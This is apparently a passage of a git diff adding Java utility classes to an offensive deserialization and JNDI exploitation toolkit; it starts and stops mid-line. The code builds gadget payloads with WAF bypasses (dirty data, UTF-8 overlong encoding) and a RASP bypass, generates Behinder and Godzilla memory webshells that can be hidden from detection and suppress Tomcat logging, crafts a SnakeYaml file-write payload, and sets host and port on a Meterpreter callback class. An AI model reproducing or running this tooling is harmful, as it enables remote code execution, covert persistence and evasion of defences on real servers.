ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE_OBSCURE), ctClass)); + } else { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE), ctClass)); + } + } + + ctClass.addMethod(CtMethod.make(Utils.base64Decode(TOMCAT_NO_LOG), ctClass)); + } + + private static Options getOptions() { + Options options = new Options(); + options.addOption("yso", "ysoserial", true, "Java deserialization"); + options.addOption("g", "gadget", true, "Java deserialization gadget"); + options.addOption("p", "parameters", true, "Gadget parameters"); + options.addOption("dt", "dirty-type", true, "Using dirty data to bypass WAF,type: 1:Random Hashable Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data"); + options.addOption("dl", "dirty-length", true, "Length of dirty data when using type 1 or 3/Counts of Nesting loops when using type 2"); + options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)"); + options.addOption("o", "obscure", false, "Using reflection to bypass RASP"); + options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)"); + options.addOption("u", "url", true, "MemoryShell binding url pattern,default [/version.txt]"); + options.addOption("pw", "password", true, "Behinder or Godzilla password,default [p@ssw0rd]"); + options.addOption("gzk", "godzilla-key", true, "Godzilla key,default [key]"); + options.addOption("hk", "header-key", true, "MemoryShell Header Check,Request Header Key,default [Referer]"); + options.addOption("hv", "header-value", true, "MemoryShell Header Check,Request Header Value,default [https://QI4L.cn/]"); + options.addOption("ch", "cmd-header", true, "Request Header which pass the command to Execute,default [X-Token-Data]"); + options.addOption("gen", "gen-mem-shell", false, "Write Memory Shell Class to File"); + options.addOption("n", "gen-mem-shell-name", true, "Memory Shell Class File Name"); + options.addOption("h", "hide-mem-shell", false, "Hide memory shell from detection tools (type 2 only support SpringControllerMS)"); + options.addOption("ht", "hide-type", true, "Hide memory shell,type 1:write /jre/lib/charsets.jar 2:write /jre/classes/"); + options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS"); + options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl"); + options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil"); + options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter"); + options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf"); + return options; + } + + public static void init(String[] args) throws Exception { + final Options options = getOptions(); + + CommandLineParser parser = new DefaultParser(); + + try { + cmdLine = parser.parse(options, args); + } catch (Exception e) { + System.out.println("[*] Parameter input error, please use -h for more information"); + System.exit(1); + } + + if (cmdLine.hasOption("inherit")) { + Config.IS_INHERIT_ABSTRACT_TRANSLET = true; + } + + if (cmdLine.hasOption("obscure")) { + Config.IS_OBSCURE = true; + } + + if (cmdLine.hasOption("cmd-header")) { + Config.CMD_HEADER_STRING = cmdLine.getOptionValue("cmd-header"); + } + + if (cmdLine.hasOption("url")) { + String url = cmdLine.getOptionValue("url"); + if (!url.startsWith("/")) { + url = "/" + url; + } + Config.URL_PATTERN = url; + } + + if (cmdLine.hasOption("define-class-from-parameter")) { + Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter"); + } + + if (cmdLine.hasOption("file")) { + Config.WRITE_FILE = true; + Config.FILE = cmdLine.getOptionValue("file"); + } + + if (cmdLine.hasOption("password")) { + Config.PASSWORD_ORI = cmdLine.getOptionValue("password"); + Config.PASSWORD = generatePassword(Config.PASSWORD_ORI); + } + + if (cmdLine.hasOption("godzilla-key")) { + Config.GODZILLA_KEY = generatePassword(cmdLine.getOptionValue("godzilla-key")); + } + + if (cmdLine.hasOption("header-key")) { + Config.HEADER_KEY = cmdLine.getOptionValue("header-key"); + } + + if (cmdLine.hasOption("header-value")) { + Config.HEADER_VALUE = cmdLine.getOptionValue("header-value"); + } + + if (cmdLine.hasOption("no-com-sun")) { + Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true; + } + + if (cmdLine.hasOption("mozilla-class-loader")) { + Config.USING_MOZILLA_DEFININGCLASSLOADER = true; + } + + if (cmdLine.hasOption("rhino")) { + Config.USING_RHINO = true; + } + + if (cmdLine.hasOption("utf8-Overlong-Encoding")) { + Config.IS_UTF_Bypass = true; + } + + if (cmdLine.hasOption("gen-mem-shell")) { + Config.GEN_MEM_SHELL = true; + + if (cmdLine.hasOption("gen-mem-shell-name")) { + Config.GEN_MEM_SHELL_FILENAME = cmdLine.getOptionValue("gen-mem-shell-name"); + } + } + + if (cmdLine.hasOption("hide-mem-shell")) { + Config.HIDE_MEMORY_SHELL = true; + + if (cmdLine.hasOption("hide-type")) { + Config.HIDE_MEMORY_SHELL_TYPE = Integer.parseInt(cmdLine.getOptionValue("hide-type")); + } + } + + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/JavaVersion.java b/src/main/java/com/qi4l/jndi/gadgets/utils/JavaVersion.java new file mode 100644 index 0000000..7dabeed --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/JavaVersion.java @@ -0,0 +1,40 @@ +package com.qi4l.jndi.gadgets.utils; + +public class JavaVersion { + + public int major; + + public int minor; + + public int update; + + + public static JavaVersion getLocalVersion() { + String property = System.getProperties().getProperty("java.version"); + if (property == null) { + return null; + } + JavaVersion v = new JavaVersion(); + String parts[] = property.split("\\.|_|-"); + int start = "1".equals(parts[0]) ? 1 : 0; // skip "1." prefix + v.major = Integer.parseInt(parts[start + 0]); + v.minor = Integer.parseInt(parts[start + 1]); + v.update = Integer.parseInt(parts[start + 2]); + return v; + } + + public static boolean isAnnInvHUniversalMethodImpl() { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71)); + } + + public static boolean isBadAttrValExcReadObj() { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && (v.major > 8 && v.update >= 76); + } + + public static boolean isAtLeast(int major) { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && v.major >= major; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Ltime.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Ltime.java new file mode 100644 index 0000000..22d5801 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Ltime.java @@ -0,0 +1,14 @@ +package com.qi4l.jndi.gadgets.utils; + +import java.text.DateFormat; +import java.text.SimpleDateFormat; +import java.util.Date; + +public class Ltime { + //yyyy-MM-dd + public static String getLocalTime() { + Date d = new Date(); + DateFormat sdf = new SimpleDateFormat("HH:mm:ss"); + return sdf.format(d); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/MyURLClassLoader.java b/src/main/java/com/qi4l/jndi/gadgets/utils/MyURLClassLoader.java new file mode 100644 index 0000000..7d277f5 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/MyURLClassLoader.java @@ -0,0 +1,48 @@ +package com.qi4l.jndi.gadgets.utils; + +import java.io.File; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.MalformedURLException; +import java.net.URL; +import java.net.URLClassLoader; + +public class MyURLClassLoader { + private URLClassLoader classLoader; + + public MyURLClassLoader(String jarName) { + try { + classLoader = getURLClassLoader(jarName); + } catch (MalformedURLException e) { + e.printStackTrace(); + } + } + + public Class loadClass(String className) { + try { + //由于我项目中已经有了 commons-beanutils:1.9.4,如果使用 loadClass 方法,加载的是项目 ClassPath 下的 commons-beanutils + //为了避免这种情况,所以调用了 findClass 方法 + Method method = URLClassLoader.class.getDeclaredMethod("findClass", new Class[]{String.class}); + method.setAccessible(true); + Class clazz = (Class) method.invoke(this.classLoader, new Object[]{className}); + return clazz; + } catch (NoSuchMethodException e) { + e.printStackTrace(); + } catch (IllegalAccessException e) { + e.printStackTrace(); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } + + return null; + } + + + private URLClassLoader getURLClassLoader(String jarName) throws MalformedURLException { + String path = System.getProperty("user.dir") + File.separator + "lib" + File.separator + jarName; + File file = new File(path); + URL url = file.toURI().toURL(); + URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url}); + return urlClassLoader; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Reflections.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Reflections.java new file mode 100644 index 0000000..febf9fd --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Reflections.java @@ -0,0 +1,87 @@ +package com.qi4l.jndi.gadgets.utils; + +import com.nqzero.permit.Permit; +import sun.reflect.ReflectionFactory; + +import java.lang.reflect.*; + +@SuppressWarnings("restriction") +public class Reflections extends ClassLoader { + + public static void setAccessible(AccessibleObject member) { + // quiet runtime warnings from JDK9+ + Permit.setAccessible(member); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + setAccessible(field); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Constructor getFirstCtor(final String name) throws Exception { + final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; + setAccessible(ctor); + return ctor; + } + + public static Object newInstance(String className, Object... args) throws Exception { + return getFirstCtor(className).newInstance(args); + } + + public static T createWithoutConstructor(Class classToInstantiate) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); + } + + @SuppressWarnings({"unchecked"}) + public static T createWithConstructor(Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); + setAccessible(objCons); + Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); + setAccessible(sc); + return (T) sc.newInstance(consArgs); + } + + public static Method getMethodByClass(Class cs, String methodName, Class[] parameters) { + Method method = null; + while (cs != null) { + try { + method = cs.getDeclaredMethod(methodName, parameters); + method.setAccessible(true); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + return method; + } + + public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) { + try { + java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass); + if (method != null) + return method.invoke(obj, parameters); + } catch (Exception ignored) { + } + return null; + } + +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java new file mode 100644 index 0000000..cd44ce0 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java @@ -0,0 +1,74 @@ +package com.qi4l.jndi.gadgets.utils; + +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.util.concurrent.Callable; + +import static com.qi4l.jndi.gadgets.Config.Config.IS_DIRTY_IN_TC_RESET; +import static com.qi4l.jndi.gadgets.Config.Config.IS_UTF_Bypass; + +public class Serializer implements Callable { + private final Object object; + + public Serializer(Object object) { + this.object = object; + } + + public static byte[] serialize(final Object obj) throws IOException { + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + serialize(obj, out); + return out.toByteArray(); + } + + public static byte[] serialize(final Object obj, final ByteArrayOutputStream out) throws IOException { + final ObjectOutputStream objOut; + objOut = new ObjectOutputStream(out); + objOut.writeObject(obj); + byte[] bytes = out.toByteArray(); + objOut.close(); + return bytes; + } + + public static void qiserialize(Object obj, final OutputStream out) throws Exception { + final ObjectOutputStream objOut; + + if (IS_DIRTY_IN_TC_RESET) { + objOut = new SuObjectOutputStream(out); + } else if (IS_UTF_Bypass) { + objOut = new UTF8OverlongObjectOutputStream(out); + } else { + objOut = new ObjectOutputStream(out); + } + objOut.writeObject(obj); + } + + public byte[] call() throws Exception { + return serialize(object); + } + + public static class SuObjectOutputStream extends ObjectOutputStream { + + public SuObjectOutputStream(OutputStream out) throws IOException { + super(out); + } + + @Override + protected void writeStreamHeader() throws IOException { + super.writeStreamHeader(); + try { + // 写入 + for (int i = 0; i < Config.DIRTY_LENGTH_IN_TC_RESET; i++) { + Reflections.getMethodAndInvoke(Reflections.getFieldValue(this, "bout"), "writeByte", new Class[]{int.class}, new Object[]{TC_RESET}); + } + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/SignedObjectUtils.java b/src/main/java/com/qi4l/jndi/gadgets/utils/SignedObjectUtils.java new file mode 100644 index 0000000..4db7d1d --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/SignedObjectUtils.java @@ -0,0 +1,21 @@ +package com.qi4l.jndi.gadgets.utils; + +import java.io.Serializable; +import java.security.*; + +/** + * 二次反序列化 + * + * @author QI4L + */ +public class SignedObjectUtils { + public static SignedObject warpWithSignedObject(Serializable obj) throws Exception { + KeyPairGenerator keyPairGenerator; + keyPairGenerator = KeyPairGenerator.getInstance("DSA"); + keyPairGenerator.initialize(1024); + KeyPair keyPair = keyPairGenerator.genKeyPair(); + PrivateKey privateKey = keyPair.getPrivate(); + Signature signingEngine = Signature.getInstance("DSA"); + return new java.security.SignedObject(obj, privateKey, signingEngine); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/SnakeYamlUtils.java b/src/main/java/com/qi4l/jndi/gadgets/utils/SnakeYamlUtils.java new file mode 100644 index 0000000..20cf934 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/SnakeYamlUtils.java @@ -0,0 +1,60 @@ +package com.qi4l.jndi.gadgets.utils; + +import java.io.*; +import java.util.zip.Deflater; + +import static com.qi4l.jndi.gadgets.utils.Util.base64Encode; + +/** + * SnakeYaml 写入 Jar 包 poc 生成工具类 + * + * @author QI4L + */ +public class SnakeYamlUtils { + public static String createPoC(String srcPath, String destPath) throws Exception { + + File file = new File(srcPath); + long FileLength = file.length(); + byte[] FileContent = new byte[(int) FileLength]; + try { + FileInputStream in = new FileInputStream(file); + in.read(FileContent); + in.close(); + } catch (FileNotFoundException e) { + e.printStackTrace(); + } + byte[] compressBytes = compress(FileContent); + return "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"" + destPath + "\"],false],!!java.util.zip.Inflater { input: !!binary " + base64Encode(compressBytes) + " },1048576]]"; + } + + public static byte[] compress(byte[] data) { + byte[] output = new byte[0]; + + Deflater compresser = new Deflater(); + + compresser.reset(); + compresser.setInput(data); + compresser.finish(); + ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length); + try { + byte[] buf = new byte[1024]; + while (!compresser.finished()) { + int i = compresser.deflate(buf); + bos.write(buf, 0, i); + } + output = bos.toByteArray(); + } catch (Exception e) { + output = data; + e.printStackTrace(); + } finally { + try { + bos.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + compresser.end(); + return output; + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/StringUtil.java b/src/main/java/com/qi4l/jndi/gadgets/utils/StringUtil.java new file mode 100644 index 0000000..c11b39f --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/StringUtil.java @@ -0,0 +1,64 @@ +package com.qi4l.jndi.gadgets.utils; + +import java.util.*; + +public class StringUtil { + + public static String join(Iterable strings, String sep, String prefix, String suffix) { + final StringBuilder sb = new StringBuilder(); + boolean first = true; + for (String s : strings) { + if (!first) sb.append(sep); + if (prefix != null) sb.append(prefix); + sb.append(s); + if (suffix != null) sb.append(suffix); + first = false; + } + return sb.toString(); + } + + public static String repeat(String str, int num) { + final String[] strs = new String[num]; + Arrays.fill(strs, str); + return join(Arrays.asList(strs), "", "", ""); + } + + public static List formatTable(List rows) { + final Integer[] maxLengths = new Integer[rows.get(0).length]; + for (String[] row : rows) { + if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns"); + for (int i = 0; i < maxLengths.length; i++) { + if (maxLengths[i] == null || maxLengths[i] < row[i].length()) { + maxLengths[i] = row[i].length(); + } + } + } + + final List lines = new LinkedList(); + for (String[] row : rows) { + for (int i = 0; i < maxLengths.length; i++) { + final String pad = repeat(" ", maxLengths[i] - row[i].length()); + row[i] = row[i] + pad; + } + lines.add(join(Arrays.asList(row), " ", "", "")); + } + return lines; + } + + public static boolean isFromExploit() { + StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace(); + for (int i = 0; i < stackTraceElements.length; i++) { + if (stackTraceElements[i].getClassName().startsWith("com.qi4l.jndi.gadgets.exploit")) { + return true; + } + } + return false; + } + + public static class ToStringComparator implements Comparator { + + public int compare(Object o1, Object o2) { + return o1.toString().compareTo(o2.toString()); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/SuClassLoader.java b/src/main/java/com/qi4l/jndi/gadgets/utils/SuClassLoader.java new file mode 100644 index 0000000..1f71d9e --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/SuClassLoader.java @@ -0,0 +1,8 @@ +package com.qi4l.jndi.gadgets.utils; + +public class SuClassLoader extends ClassLoader { + + public SuClassLoader() { + super(Thread.currentThread().getContextClassLoader()); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Util.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Util.java new file mode 100644 index 0000000..aa1dc2d --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Util.java @@ -0,0 +1,181 @@ +package com.qi4l.jndi.gadgets.utils; + +import com.qi4l.jndi.template.echo.Meterpreter; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.Random; + +public class Util { + public static String getRandomString() { + String str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < 10; i++) { + char ch = str.charAt(new Random().nextInt(str.length())); + sb.append(ch); + } + return sb.toString(); + } + + public static String getClassCode(Class clazz) throws Exception { + byte[] bytes = null; + if (clazz.getName().equals("com.feihong.ldap.template.Meterpreter")) { + bytes = ClassByteChange.update(Meterpreter.class); + + } else { + bytes = getClassBytes(clazz); + } + + + String result = Util.base64Encode(bytes); + + return result; + } + + public static String getClassType(byte[] bytes) throws Exception { + String result = Util.base64Encode(bytes); + return result; + } + + public static byte[] getClassBytes(Class clazz) throws Exception { + String className = clazz.getName(); + String resoucePath = className.replaceAll("\\.", "/") + ".class"; + InputStream in = Util.class.getProtectionDomain().getClassLoader().getResourceAsStream(resoucePath); + byte[] bytes = new byte[1024]; + ByteArrayOutputStream baous = new ByteArrayOutputStream(); + int len = 0; + while ((len = in.read(bytes)) != -1) { + baous.write(bytes, 0, len); + } + + in.close(); + baous.close(); + + return baous.toByteArray(); + } + + public static String base64Encode(byte[] bytes) throws Exception { + String result; + + try { + Class clazz = Class.forName("java.util.Base64"); + Method method = clazz.getDeclaredMethod("getEncoder"); + Object obj = method.invoke(null); + method = obj.getClass().getDeclaredMethod("encodeToString", byte[].class); + obj = method.invoke(obj, bytes); + result = (String) obj; + } catch (ClassNotFoundException e) { + Class clazz = Class.forName("sun.misc.BASE64Encoder"); + Method method = clazz.getMethod("encodeBuffer", byte[].class); + Object obj = method.invoke(clazz.newInstance(), bytes); + result = (String) obj; + result = result.replaceAll("\r|\n|\r\n", ""); + } + + return result; + } + + public static byte[] base64Decode(String str) throws Exception { + byte[] bytes; + + try { + Class clazz = java.lang.Class.forName("java.util.Base64"); + Method method = clazz.getDeclaredMethod("getDecoder"); + Object obj = method.invoke(null); + method = obj.getClass().getDeclaredMethod("decode", String.class); + obj = method.invoke(obj, str); + bytes = (byte[]) obj; + } catch (ClassNotFoundException e) { + Class clazz = java.lang.Class.forName("sun.misc.BASE64Decoder"); + Method method = clazz.getMethod("decodeBuffer", String.class); + Object obj = method.invoke(clazz.newInstance(), str); + bytes = (byte[]) obj; + } + + return bytes; + } + + public static String shellBase64Decode(String bs) throws Exception { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class) null).invoke(base64, (Object) null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + } + } + + return new String(value); + } + + public static byte[] serialize(Object ref) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ObjectOutputStream objOut = new ObjectOutputStream(out); + objOut.writeObject(ref); + return out.toByteArray(); + } + + public static String getCmdFromBase(String base) throws Exception { + int firstIndex = base.lastIndexOf("/"); + String cmd = base.substring(firstIndex + 1); + + int secondIndex = base.lastIndexOf("/", firstIndex - 1); + if (secondIndex < 0) { + secondIndex = 0; + } + + if (base.substring(secondIndex + 1, firstIndex).equalsIgnoreCase("base64")) { + byte[] bytes = Util.base64Decode(cmd); + cmd = new String(bytes); + } + + return cmd; + } + + public static String[] getIPAndPortFromBase(String base) throws NumberFormatException { + int firstIndex = base.lastIndexOf("/"); + String port = base.substring(firstIndex + 1); + + int secondIndex = base.lastIndexOf("/", firstIndex - 1); + if (secondIndex < 0) { + secondIndex = 0; + } + + String ip = base.substring(secondIndex + 1, firstIndex); + return new String[]{ip, Integer.parseInt(port) + ""}; + } + + public static Class getMeterpreter(Class clazz, String host, String port) throws NoSuchFieldException, IllegalAccessException { + Field hostField = clazz.getField("host"); +// hostField.setAccessible(true); + Field portField = clazz.getField("port"); +// portField.setAccessible(true); + hostField.set(null, host); + portField.set(null, port); + return clazz; + } + + + public static boolean isHave(String[] strs, String s) { + + /*此方法有两个参数,第一个是要查找的字符串数组,第二个是要查找的字符或字符串*/ + int i = strs.length; + while (i-- > 0) { + if (strs[i] == s) { + return true; + } + } + return false; + } + +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Utils.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Utils.java new file mode 100644 index 0000000..8b19708 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Utils.java @@ -0,0 +1,188 @@ +package com.qi4l.jndi.gadgets.utils; + +import com.sun.org.apache.bcel.internal.classfile.Utility; +import javassist.CannotCompileException; +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.lang.StringUtils; + +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.FileOutputStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Proxy; +import java.util.zip.GZIPOutputStream; + +import static com.qi4l.jndi.gadgets.Config.Config.*; +import static com.qi4l.jndi.gadgets.utils.handle.ClassMethodHandler.insertMethod; +import static com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler.generateClassName; +import static com.qi4l.jndi.gadgets.utils.handle.GlassHandler.shrinkBytes; + +public class Utils { + + public static Class makeClass(String clazzName) { + ClassPool classPool = ClassPool.getDefault(); + CtClass ctClass = classPool.makeClass(clazzName); + Class clazz = null; + try { + clazz = ctClass.toClass(); + } catch (CannotCompileException e) { + throw new RuntimeException(e); + } + ctClass.defrost(); + return clazz; + } + + public static String[] handlerCommand(String command) { + String info = command.split("[-]")[1]; + int index = info.indexOf("#"); + String par1 = info.substring(0, index); + String par2 = info.substring(index + 1); + return new String[]{par1, par2}; + } + + + public static String base64Decode(String bs) throws Exception { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", Class.class).invoke(base64, Class[].class); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + } + } + + return new String(value); + } + + public static void saveCtClassToFile(CtClass ctClass) throws Exception { + // 总体在进行类字节码的缩短 + shrinkBytes(ctClass); + byte[] classBytes = ctClass.toBytecode(); + + // 保存内存马文件 + if (GEN_MEM_SHELL) { + if (StringUtils.isNotEmpty(GEN_MEM_SHELL_FILENAME)) { + writeClassToFile(GEN_MEM_SHELL_FILENAME, classBytes); + } else { + writeClassToFile(ctClass.getName(), classBytes); + } + } + } + + public static void loadClassTest(byte[] classBytes, String className) throws Exception { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Method method = Proxy.class.getDeclaredMethod("defineClass0", ClassLoader.class, String.class, byte[].class, int.class, int.class); + method.setAccessible(true); + Class clazz = (Class) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length); + + try { + clazz.newInstance(); + } catch (Exception ignored) { + Class unsafe = Class.forName("sun.misc.Unsafe"); + Field theUnsafeField = unsafe.getDeclaredField("theUnsafe"); + theUnsafeField.setAccessible(true); + Object unsafeObject = theUnsafeField.get(null); + unsafeObject.getClass().getDeclaredMethod("allocateInstance", Class.class).invoke(unsafeObject, clazz); + } + } + + public static String generateBCELFormClassBytes(byte[] bytes) throws Exception { + return "$$BCEL$$" + Utility.encode(bytes, true); + } + + public static String getJSEngineValue(byte[] classBytes) throws Exception { + if (USING_RHINO) { + return "new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass(\"" + generateBCELFormClassBytes(classBytes) + "\").newInstance();"; + } else { + return "var data = \"" + base64Encode(classBytes) + "\";var dataBytes=java.util.Base64.getDecoder().decode(data);var cloader= java.lang.Thread.currentThread().getContextClassLoader();var superLoader=cloader.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();var method=superLoader.getDeclaredMethod(\"defineClass\",dataBytes.getClass(),java.lang.Integer.TYPE,java.lang.Integer.TYPE);method.setAccessible(true);var memClass=method.invoke(cloader,dataBytes,0,dataBytes.length);memClass.newInstance();"; + } + } + + public static CtClass encapsulationByClassLoaderTemplate(byte[] bytes) throws Exception { + CtClass ctClass = POOL.get("com.qi4l.jndi.template.ClassLoaderTemplate"); + ctClass.setName(generateClassName()); + ByteArrayOutputStream outBuf = new ByteArrayOutputStream(); + GZIPOutputStream gzipOutputStream = new GZIPOutputStream(outBuf); + gzipOutputStream.write(bytes); + gzipOutputStream.close(); + + String b64 = Base64.encodeBase64String(outBuf.toByteArray()); + // 如果 b64 的长度比较大,则将其切分为多个字符串进行拼接,避免单个字符串过长 + String code = ""; + if (b64.length() > 60000) { + String[] arrays = splitString(b64, 60000); + for (int i = 0; i < arrays.length; i++) { + if (i == 0) { + code += "b64=\"" + arrays[0] + "\";\n"; + } else { + code += "b64 +=\"" + arrays[i] + "\";\n"; + } + } + } else { + code += "b64=\"" + b64 + "\";\n"; + } + + // 将赋值的代码插入到 ClassLoaderTemplate 中 + insertMethod(ctClass, "initClassBytes", code); + return ctClass; + } + + public static void writeClassToFile(String fileName, byte[] classBytes) throws Exception { + File file = new File(fileName.replace(".", File.separator) + ".class"); + File parentDir = file.getParentFile(); + if (!parentDir.exists()) { + if (!parentDir.mkdirs()) { + // 创建文件夹失败 + return; + } + } + FileOutputStream fileOutputStream = new FileOutputStream(file); + fileOutputStream.write(classBytes); + fileOutputStream.flush(); + fileOutputStream.close(); + } + + public static String[] splitString(String str, int chunkSize) { + if (str == null || str.isEmpty() || chunkSize <= 0) { + return null; + } + int len = str.length(); + int arrayLen = (len + chunkSize - 1) / chunkSize; + String[] result = new String[arrayLen]; + int k = 0; + for (int i = 0; i < len; i += chunkSize) { + int endIndex = Math.min(i + chunkSize, len); + result[k++] = str.substring(i, endIndex); + } + return result; + } + + public static String base64Encode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", new Class[]{}).invoke(null, (Object[]) null); + value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/beanshell/BeanShellUtil.java b/src/main/java/com/qi4l/jndi/gadgets/utils/beanshell/BeanShellUtil.java new file mode 100644 index 0000000..192338c --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/beanshell/BeanShellUtil.java @@ -0,0 +1,27 @@ +package com.qi4l.jndi.gadgets.utils.beanshell; + +import com.qi4l.jndi.gadgets.utils.StringUtil; +import com.qi4l.jndi.gadgets.utils.Utils; + +import java.util.Arrays; + +public class BeanShellUtil { + + public static String makeBeanShellPayload(String command) { + if (command.startsWith("TS-")) + return "compare(Object 